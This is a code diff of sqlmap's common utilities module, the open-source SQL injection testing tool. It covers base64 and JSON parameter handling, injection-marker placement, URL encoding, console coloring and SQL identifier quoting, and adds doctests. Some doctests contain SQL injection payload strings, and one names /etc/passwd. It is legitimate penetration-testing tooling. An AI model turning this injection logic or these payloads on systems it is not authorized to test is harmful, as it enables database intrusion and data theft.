@@ -221,9 +225,9 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
             for (key, value) in self._sections[section].items():
                 if key != "__name__":
                     if value is None:
-                        fp.write("%s\n" % (key))
-                    else:
-                        fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
+                        fp.write("\t%s\n" % (key))
+                    elif not isListLike(value):
+                        fp.write("\t%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
 
             fp.write("\n")
 
@@ -557,6 +561,10 @@ class Backend(object):
             singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
         return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
 
+    @staticmethod
+    def isFork(fork):
+        return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork
+
     @staticmethod
     def isDbmsWithin(aliases):
         return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
@@ -623,7 +631,8 @@ def paramToDict(place, parameters=None):
 
                 if parameter in (conf.base64Parameter or []):
                     try:
-                        oldValue = value
+                        kb.base64Originals[parameter] = oldValue = value
+                        value = urldecode(value, convall=True)
                         value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
                         parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
                     except:
@@ -669,17 +678,21 @@ def paramToDict(place, parameters=None):
                                     elif isinstance(current, dict):
                                         for key in current.keys():
                                             value = current[key]
-                                            if isinstance(value, (list, tuple, set, dict)):
-                                                if value:
-                                                    walk(head, value)
-                                            elif isinstance(value, (bool, int, float, six.string_types)):
+                                            if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
                                                 original = current[key]
                                                 if isinstance(value, bool):
                                                     current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
+                                                elif value is None:
+                                                    current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)
+                                                elif value == []:
+                                                    current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)]
                                                 else:
                                                     current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
                                                 candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
                                                 current[key] = original
+                                            elif isinstance(value, (list, tuple, set, dict)):
+                                                if value:
+                                                    walk(head, value)
 
                                 deserialized = json.loads(testableParameters[parameter])
                                 walk(deserialized)
@@ -929,20 +942,40 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
 
     >>> setColor("Hello World", color="red", istty=True)
     '\\x1b[31mHello World\\x1b[0m'
+    >>> setColor("[INFO] Hello World", istty=True)
+    '[\\x1b[32mINFO\\x1b[0m] Hello World'
+    >>> setColor("[INFO] Hello [CRITICAL] World", istty=True)
+    '[INFO] Hello [CRITICAL] World'
     """
 
     retVal = message
-    level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
 
-    if message and (IS_TTY or istty) and not conf.get("disableColoring"):  # colorizing handler
-        if bold or color:
-            retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
-        elif level:
-            try:
-                level = getattr(logging, level, None)
-            except:
-                level = None
-            retVal = LOGGER_HANDLER.colorize(message, level)
+    if message:
+        if (IS_TTY or istty) and not conf.get("disableColoring"):  # colorizing handler
+            if level is None:
+                levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
+
+                if len(levels) == 1:
+                    level = levels[0]
+
+            if bold or color:
+                retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
+            elif level:
+                try:
+                    level = getattr(logging, level, None)
+                except:
+                    level = None
+                retVal = LOGGER_HANDLER.colorize(message, level)
+            else:
+                match = re.search(r"\(([^)]*)\s*fork\)", message)
+                if match:
+                    retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
+
+                if not any(_ in message for _ in ("Payload: ",)):
+                    for match in re.finditer(r"([^\w])'([^\n']+)'", message):  # single-quoted (Note: watch-out for the banner)
+                        retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
+
+        message = message.strip()
 
     return retVal
 
@@ -961,11 +994,17 @@ def clearColors(message):
 
     return retVal
 
-def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
+def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
     """
     Writes text to the stdout (console) stream
     """
 
+    if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"):
+        if re.search(r"\(\d+%\)", data):
+            data = ""
+        else:
+            data = "\n%s" % data.strip("\r")
+
     if not kb.get("threadException"):
         if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
             multiThreadMode = isMultiThreadMode()
@@ -974,9 +1013,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
 
             try:
                 if conf.get("api"):
-                    sys.stdout.write(stdoutEncode(clearColors(data)), status, content_type)
+                    sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
                 else:
-                    sys.stdout.write(stdoutEncode(setColor(data, bold=bold)))
+                    sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
 
                 sys.stdout.flush()
             except IOError:
@@ -1014,6 +1053,16 @@ def dataToDumpFile(dumpFile, data):
             raise
 
 def dataToOutFile(filename, data):
+    """
+    Saves data to filename
+
+    >>> pushValue(conf.get("filePath"))
+    >>> conf.filePath = tempfile.gettempdir()
+    >>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
+    True
+    >>> conf.filePath = popValue()
+    """
+
     retVal = None
 
     if data:
@@ -1080,7 +1129,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
         logger.debug(debugMsg)
 
     if retVal is None:
-        if checkBatch and conf.get("batch") or conf.get("api"):
+        if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")):
             if isListLike(default):
                 options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
             elif default:
@@ -1108,7 +1157,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
                 if not retVal:  # Note: Python doesn't print newline on empty input
                     dataToStdout("\n")
                 retVal = retVal.strip() or default
-                retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
+                retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal
             except:
                 try:
                     time.sleep(0.05)  # Reference: http://www.gossamer-threads.com/lists/python/python/781893
@@ -1191,9 +1240,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
     """
 
     if seed is not None:
-        _ = getCurrentThreadData().random
-        _.seed(seed)
-        choice = _.choice
+        _random = getCurrentThreadData().random
+        _random.seed(seed)
+        choice = _random.choice
     else:
         choice = random.choice
 
@@ -1225,10 +1274,12 @@ def getHeader(headers, key):
     """
 
     retVal = None
-    for _ in (headers or {}):
-        if _.upper() == key.upper():
-            retVal = headers[_]
+
+    for header in (headers or {}):
+        if header.upper() == key.upper():
+            retVal = headers[header]
             break
+
     return retVal
 
 def checkPipedInput():
@@ -1237,7 +1288,7 @@ def checkPipedInput():
     # Reference: https://stackoverflow.com/a/33873570
     """
 
-    return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
+    return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno())
 
 def isZipFile(filename):
     """
@@ -1309,7 +1360,7 @@ def banner():
     if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
         result = BANNER
 
-        if not IS_TTY or "--disable-coloring" in sys.argv:
+        if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
             result = clearColors(result)
         elif IS_WIN:
             coloramainit()
@@ -1327,9 +1378,9 @@ def parsePasswordHash(password):
     >>> kb.forcedDbms = popValue()
     """
 
-    blank = " " * 8
+    blank = ' ' * 8
 
-    if isNoneValue(password) or password == " ":
+    if isNoneValue(password) or password == ' ':
         retVal = NULL
     else:
         retVal = password
@@ -1377,7 +1428,6 @@ def setPaths(rootPath):
     paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
     paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
     paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
-    paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")
 
     paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
     paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
@@ -1398,7 +1448,6 @@ def setPaths(rootPath):
     paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
     paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
     paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
-    paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
     paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
     paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
     paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
@@ -1411,6 +1460,7 @@ def setPaths(rootPath):
             checkFile(path)
 
     if IS_WIN:
+        # Reference: https://pureinfotech.com/list-environment-variables-windows-10/
         if os.getenv("LOCALAPPDATA"):
             paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
         elif os.getenv("USERPROFILE"):
@@ -1420,11 +1470,17 @@ def setPaths(rootPath):
     else:
         paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
 
+        if not os.path.isdir(paths.SQLMAP_HOME_PATH):
+            if "XDG_DATA_HOME" in os.environ:
+                paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
+            else:
+                paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
+
     paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
     paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
     paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
 
-    # history files
+    # History files
     paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
     paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
     paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
@@ -1463,12 +1519,12 @@ def parseTargetDirect():
     remote = False
 
     for dbms in SUPPORTED_DBMS:
-        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
+        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
 
         if details:
             conf.dbms = details.group("dbms")
 
-            if details.group('credentials'):
+            if details.group("credentials"):
                 conf.dbmsUser = details.group("user")
                 conf.dbmsPass = details.group("pass")
             else:
@@ -1580,8 +1636,8 @@ def parseTargetUrl():
 
     originalUrl = conf.url
 
-    if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
-        errMsg = "IPv6 addressing is not supported "
+    if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6:
+        errMsg = "IPv6 communication is not supported "
         errMsg += "on this platform"
         raise SqlmapGenericException(errMsg)
 
@@ -1638,7 +1694,7 @@ def parseTargetUrl():
         conf.port = 80
 
     if conf.port < 1 or conf.port > 65535:
-        errMsg = "invalid target URL's port (%d)" % conf.port
+        errMsg = "invalid target URL port (%d)" % conf.port
         raise SqlmapSyntaxException(errMsg)
 
     conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
@@ -1650,13 +1706,13 @@ def parseTargetUrl():
         else:
             conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
 
-    if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
+    if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders):
         debugMsg = "setting the HTTP Referer header to the target URL"
         logger.debug(debugMsg)
         conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
         conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
 
-    if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
+    if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders):
         debugMsg = "setting the HTTP Host header to the target URL"
         logger.debug(debugMsg)
         conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
@@ -1670,6 +1726,11 @@ def escapeJsonValue(value):
     Escapes JSON value (used in payloads)
 
     # Reference: https://stackoverflow.com/a/16652683
+
+    >>> "\\n" in escapeJsonValue("foo\\nbar")
+    False
+    >>> "\\\\t" in escapeJsonValue("foo\\tbar")
+    True
     """
 
     retVal = ""
@@ -1689,7 +1750,7 @@ def expandAsteriskForColumns(expression):
     the SQL query string (expression)
     """
 
-    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
+    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
 
     if match:
         infoMsg = "you did not provide the fields in your query. "
@@ -1844,6 +1905,12 @@ def getLocalIP():
 def getRemoteIP():
     """
     Get remote/target IP address
+
+    >>> pushValue(conf.hostname)
+    >>> conf.hostname = "localhost"
+    >>> getRemoteIP() == "127.0.0.1"
+    True
+    >>> conf.hostname = popValue()
     """
 
     retVal = None
@@ -1970,6 +2037,9 @@ def normalizePath(filepath):
 def safeFilepathEncode(filepath):
     """
     Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
+
+    >>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
+    True
     """
 
     retVal = filepath
@@ -2002,6 +2072,8 @@ def safeStringFormat(format_, params):
 
     >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
     'SELECT foo FROM bar LIMIT 1'
+    >>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
+    "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
     """
 
     if format_.count(PAYLOAD_DELIMITER) == 2:
@@ -2023,6 +2095,8 @@ def safeStringFormat(format_, params):
         if retVal.count("%s", start, end) == len(params):
             for param in params:
                 index = retVal.find("%s", start)
+                if isinstance(param, six.string_types):
+                    param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
                 retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
         else:
             if any('%s' in _ for _ in conf.parameters.values()):
@@ -2043,12 +2117,15 @@ def safeStringFormat(format_, params):
                         warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
                         raise SqlmapValueException(warnMsg)
                     else:
-                        retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
+                        try:
+                            retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
+                        except re.error:
+                            retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
                         count += 1
                 else:
                     break
 
-    retVal = getText(retVal)
+    retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
 
     return retVal
 
@@ -2174,6 +2251,15 @@ def isHexEncodedString(subject):
 def isMultiThreadMode():
     """
     Checks if running in multi-thread(ing) mode
+
+    >>> isMultiThreadMode()
+    False
+    >>> _ = lambda: time.sleep(0.1)
+    >>> thread = threading.Thread(target=_)
+    >>> thread.daemon = True
+    >>> thread.start()
+    >>> isMultiThreadMode()
+    True
     """
 
     return threading.activeCount() > 1
@@ -2182,6 +2268,9 @@ def isMultiThreadMode():
 def getConsoleWidth(default=80):
     """
     Returns console width
+
+    >>> any((getConsoleWidth(), True))
+    True
     """
 
     width = None
@@ -2320,16 +2409,6 @@ def readCachedFileContent(filename, mode="rb"):
 
     return kb.cache.content[filename]
 
-def readXmlFile(xmlFile):
-    """
-    Reads XML file content and returns its DOM representation
-    """
-
-    checkFile(xmlFile)
-    retVal = minidom.parse(xmlFile).documentElement
-
-    return retVal
-
 def average(values):
     """
     Computes the arithmetic mean of a list of numbers.
@@ -2398,6 +2477,9 @@ def initCommonOutputs():
 def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
     """
     Returns newline delimited items contained inside file
+
+    >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
+    True
     """
 
     retVal = list() if not unique else OrderedDict()
@@ -2504,8 +2586,8 @@ def goGoodSamaritan(prevValue, originalCharset):
 
 def getPartRun(alias=True):
     """
-    Goes through call stack and finds constructs matching conf.dbmsHandler.*.
-    Returns it or its alias used in 'txt/common-outputs.txt'
+    Goes through call stack and finds constructs matching
+    conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
     """
 
     retVal = None
@@ -2712,6 +2794,12 @@ def extractErrorMessage(page):
                     retVal = candidate
                     break
 
+        if not retVal and wasLastResponseDBMSError():
+            match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
+
+            if match:
+                retVal = match.group(0)
+
     return retVal
 
 def findLocalPort(ports):
@@ -2812,6 +2900,10 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
 
     >>> urlencode('AND 1>(2+3)#')
     'AND%201%3E%282%2B3%29%23'
+    >>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
+    'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
+    >>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
+    'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
     """
 
     if conf.get("direct"):
@@ -2821,6 +2913,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
     result = None if value is None else ""
 
     if value:
+        value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
+
         if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
             warnMsg = "if you experience problems with "
             warnMsg += "non-ASCII identifier names "
@@ -2834,6 +2928,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
         # encoded (when not representing URL encoded char)
         # except in cases when tampering scripts are used
         if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
+            value = re.sub(r"(?<= ')%", "%25", value)   # e.g. LIKE '%DBA%'
             value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
 
         while True:
@@ -2854,6 +2949,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
         if spaceplus:
             result = result.replace(_urllib.parse.quote(' '), '+')
 
+        result = result.replace(DOLLAR_MARKER, '$')
+
     return result
 
 def runningAsAdmin():
@@ -3008,9 +3105,11 @@ def isNumPosStrValue(value):
     False
     >>> isNumPosStrValue('-2')
     False
+    >>> isNumPosStrValue('100000000000000000000')
+    False
     """
 
-    return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
+    return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
 
 @cachedmethod
 def aliasToDbmsEnum(dbms):
@@ -3228,7 +3327,7 @@ def parseSqliteTableSchema(value):
     Parses table column names and types from specified SQLite table schema
 
     >>> kb.data.cachedColumns = {}
-    >>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);")
+    >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
     True
     >>> repr(kb.data.cachedColumns).count(',') == 1
     True
@@ -3240,9 +3339,9 @@ def parseSqliteTableSchema(value):
         table = {}
         columns = {}
 
-        for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I):
+        for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
             retVal = True
-            columns[match.group(1)] = match.group(2)
+            columns[match.group(1)] = match.group(2) or "TEXT"
 
         table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
         kb.data.cachedColumns[conf.db] = table
@@ -3339,7 +3438,7 @@ def setOptimize():
 
     # conf.predictOutput = True
     conf.keepAlive = True
-    conf.threads = 3 if conf.threads < 3 else conf.threads
+    conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
     conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
 
     if not conf.nullConnection:
@@ -3516,7 +3615,7 @@ def isListLike(value):
     False
     """
 
-    return isinstance(value, (list, tuple, set, BigArray))
+    return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
 
 def getSortedInjectionTests():
     """
@@ -3700,7 +3799,7 @@ def unhandledExceptionMessage():
     errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
     errMsg += "Python version: %s\n" % PYVERSION
     errMsg += "Operating system: %s\n" % platform.platform()
-    errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
+    errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
     errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
     errMsg += "Back-end DBMS:"
 
@@ -3995,7 +4094,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
                     thread.start()
                     thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
 
-                    if thread.isAlive():
+                    if thread.is_alive():
                         kb.reflectiveMechanism = False
                         retVal = content
                         if not suppressWarning:
@@ -4074,25 +4173,27 @@ def safeSQLIdentificatorNaming(name, isTable=False):
         if _:
             retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
 
-        if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
-            retVal = unsafeSQLIdentificatorNaming(retVal)
+        # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
+        if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
+            if not conf.noEscape:
+                retVal = unsafeSQLIdentificatorNaming(retVal)
 
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
-                retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
-                retVal = "\"%s\"" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
-                retVal = "\"%s\"" % retVal.upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
-                if isTable:
-                    parts = retVal.split('.', 1)
-                    for i in xrange(len(parts)):
-                        if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
-                            parts[i] = "[%s]" % parts[i]
-                    retVal = '.'.join(parts)
-                else:
-                    if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
-                        retVal = "[%s]" % retVal
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+                    retVal = "`%s`" % retVal
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
+                    retVal = "\"%s\"" % retVal
+                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
+                    retVal = "\"%s\"" % retVal.upper()
+                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                    if isTable:
+                        parts = retVal.split('.', 1)
+                        for i in xrange(len(parts)):
+                            if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
+                                parts[i] = "[%s]" % parts[i]
+                        retVal = '.'.join(parts)
+                    else:
+                        if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
+                            retVal = "[%s]" % retVal
 
         if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
             retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -4115,11 +4216,11 @@ def unsafeSQLIdentificatorNaming(name):
     retVal = name
 
     if isinstance(name, six.string_types):
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
             retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
             retVal = name.replace("\"", "")
